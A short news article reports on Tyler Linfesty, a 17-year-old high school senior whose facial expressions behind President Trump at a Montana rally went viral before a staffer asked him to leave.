  • A guy wearing a plaid shirt who made several animated facial expressions during a Trump rally in Montana on Thursday has been identified as Tyler Linfesty, a 17-year-old high school senior.
  • Linfesty was positioned directly behind President Donald Trump and made several facial expressions as  Trump spoke, before a staffer asked him to leave.
  • “I didn’t really have a plan,” Tyler told The Billings Gazette. “I was just going to clap for things I agreed with and not clap for things I didn’t agree with.”
  • Tyler reportedly managed to have his picture taken with Trump while wearing a Democratic Socialists of America emblem, and also tried getting Trump to sign a copy of the “Communist Manifesto,” which was disguised as Trump’s book, “The Art of the Deal.”

A teenager wearing a plaid shirt who made several animated facial expressions during a Montana campaign rally featuring President Donald Trump has been identified as Tyler Linfesty, a 17-year-old high school senior, the Billings Gazette reported.

As Trump delivered remarks on Thursday night, Linfesty was positioned directly behind him and made several facial expressions before a staffer apparently asked him to leave. The high school senior’s reactions went viral the next morning and prompted amateur facial readers to analyze what he was saying.

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